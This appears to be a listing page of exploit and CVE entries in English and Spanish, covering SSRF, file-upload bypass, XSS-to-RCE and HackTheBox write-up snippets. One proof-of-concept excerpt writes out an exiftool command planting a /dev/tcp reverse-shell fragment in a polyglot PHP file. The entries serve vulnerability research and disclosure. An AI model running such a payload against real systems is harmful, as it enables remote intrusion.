CVE-2023-54402

iDocView contains a server-side request forgery vulnerability in its /doc/upload endpoint that allows remote unauthenticated attackers to fetch arbitrary URLs by supplying a hardcoded default token value testtoken to bypass authentication. Attackers can exploit the unrestricted URL scheme handlin...

Magento-ver.-2.4.6

Título del exploit: FireBear Studio Improved Import & Export ver. 3.8.6 para Magento 2.4.6 - Inyección XSLT del lado del servidor Fecha: 2023-11-17 Autor del exploit: tmrswrr Página web del proveedor: FireBear Studio Enlace del software: FireBear Studio Improved Import & Export Versión: FireBear...

SonLogger-vulns

CVE-2021-27964 | SonLogger - Carga de archivos arbitrarios no autenticada Metasploit Fecha: 30-01-2021 Autor del exploit: Berkan Er [email protected] Página del vendedor: https://www.sonlogger.com/ Enlace del software: https://www.sonlogger.com/download Versión: 4.2.3.3 Probado en: Windows 1...

CVE-2023-41425

CVE-2023-41425 Descripción Una vulnerabilidad de Cross Site Scripting en Wonder CMS Versión 3.2.0 a Versión 3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado subido al componente installModule. Esta es una versión modificada del exploit original de...

vuln-chain-lab

Laboratorio PoC de Bypass de Carga de Archivos + XSS Almacenado Una aplicación web deliberadamente vulnerable que demuestra cómo un bypass de carga de archivos se encadena con XSS almacenado para crear cuentas de administrador puerta trasera, incluso cuando las protecciones CSP, CORS y CSRF están...

CVE-2023-54402 iDocView SSRF via /doc/upload Endpoint Hardcoded Token

iDocView contains a server-side request forgery vulnerability in its /doc/upload endpoint that allows remote unauthenticated attackers to fetch arbitrary URLs by supplying a hardcoded default token value testtoken to bypass authentication. Attackers can exploit the unrestricted URL scheme handlin...

CVE-2023-54402

The iDocView application is vulnerable to a Server-Side Request Forgery (SSRF) vulnerability in its /doc/upload endpoint. Unauthenticated remote attackers can bypass authentication by providing a hardcoded default token value (testtoken ). The root cause is unrestricted URL scheme handling, which...

CVE-2026-102130 Kiteworks Email Protection Gateway Remote Code Execution

Kiteworks Email Protection Gateway did not sufficiently validate the content of an uploaded backup, and allowed an administrator to influence how the application loaded it. An authenticated administrator could potentially use this to execute arbitrary code on the gateway as the underlying service...

CVE-2026-102130

The Kiteworks Email Protection Gateway is vulnerable to Remote Code Execution (RCE) due to insufficient validation of uploaded backup content. An authenticated administrator can influence how the application loads these backups to execute arbitrary code on the gateway as the underlying service ac...

CVE-2026-102137 Kiteworks Core Unrestricted Upload of File with Dangerous Type

An authenticated administrator could bypass the content validation applied to an administrative file upload and store a file containing dangerous content on the appliance. This did not by itself result in code execution, which would require a separate vulnerability to run the stored file...

CVE-2026-102137

In Kiteworks Core , an authenticated administrator can bypass content validation during an administrative file upload. This allows for the storage of files containing dangerous content on the appliance. While this vulnerability enables the storage of malicious files, it does not directly result i...

CVE-2026-102137 Kiteworks Core Unrestricted Upload of File with Dangerous Type

An authenticated administrator could bypass the content validation applied to an administrative file upload and store a file containing dangerous content on the appliance. This did not by itself result in code execution, which would require a separate vulnerability to run the stored file...

CVE-2024-25292

RenderTune RCE Una prueba de concepto para la vulnerabilidad CVE-2024-25292. Una vulnerabilidad de cross-site scripting XSS en RenderTune v1.1.4 permite a los atacantes ejecutar scripts web arbitrarios o HTML mediante un payload manipulado inyectado en el parámetro Upload Title. En este repositor...

CVE-2026-102143

The Kiteworks Email Protection Gateway contains a vulnerability where an unauthenticated attacker can write a file with attacker-controlled content to the appliance filesystem. The root cause is an administrative upload handler that fails to properly authenticate requests. While this allows for u...

CVE-2026-102143 Kiteworks Email Protection Gateway Unrestricted Upload of File with Dangerous Type

An unauthenticated attacker could cause a file with attacker-controlled content to be written to the appliance filesystem through an administrative upload handler that did not properly authenticate the request. This did not by itself result in code execution, which would require a separate...

CVE-2026-102143 Kiteworks Email Protection Gateway Unrestricted Upload of File with Dangerous Type

An unauthenticated attacker could cause a file with attacker-controlled content to be written to the appliance filesystem through an administrative upload handler that did not properly authenticate the request. This did not by itself result in code execution, which would require a separate...

CVE-2025-4190

CVE-2025-4190 — CSV Mass Importer de WordPress ≤ 1.2 Carga Arbitraria de Archivos -purple 📌 Descripción El plugin CSV Mass Importer ≤ 1.2 para WordPress contiene una vulnerabilidad de Carga Arbitraria de Archivos para Admin+. Debido a una validación incorrecta de los archivos subidos, los usuario...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE Vulnerabilidad de Cross Site Scripting en Wonder CMS v.3.2.0 hasta v.3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado cargado en el componente installModule. Solo con fines educativos Requiere conocimiento del loginURL, acceso...

CVE-2023-24610

CVE-2023-24610 Esto es una prueba de concepto para CVE-2023-24610 Comenzamos creando un archivo políglota usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamos el archivo a png para que pase la verificación del front-end Después, iniciamos un listener...

Popcorn-TJNULL-OSCP-

HackTheBox: Write-up de Popcorn Fecha: 05 de junio de 2026 Dificultad: Fácil Plataforma: HackTheBox Técnicas Clave: Enumeración de Puertos y Servicios, Fuzzing de Directorios Gobuster, Evasión de Subida de Archivos, Manipulación de Solicitudes HTTP Burp Suite, Ejecución Remota de Código RCE,...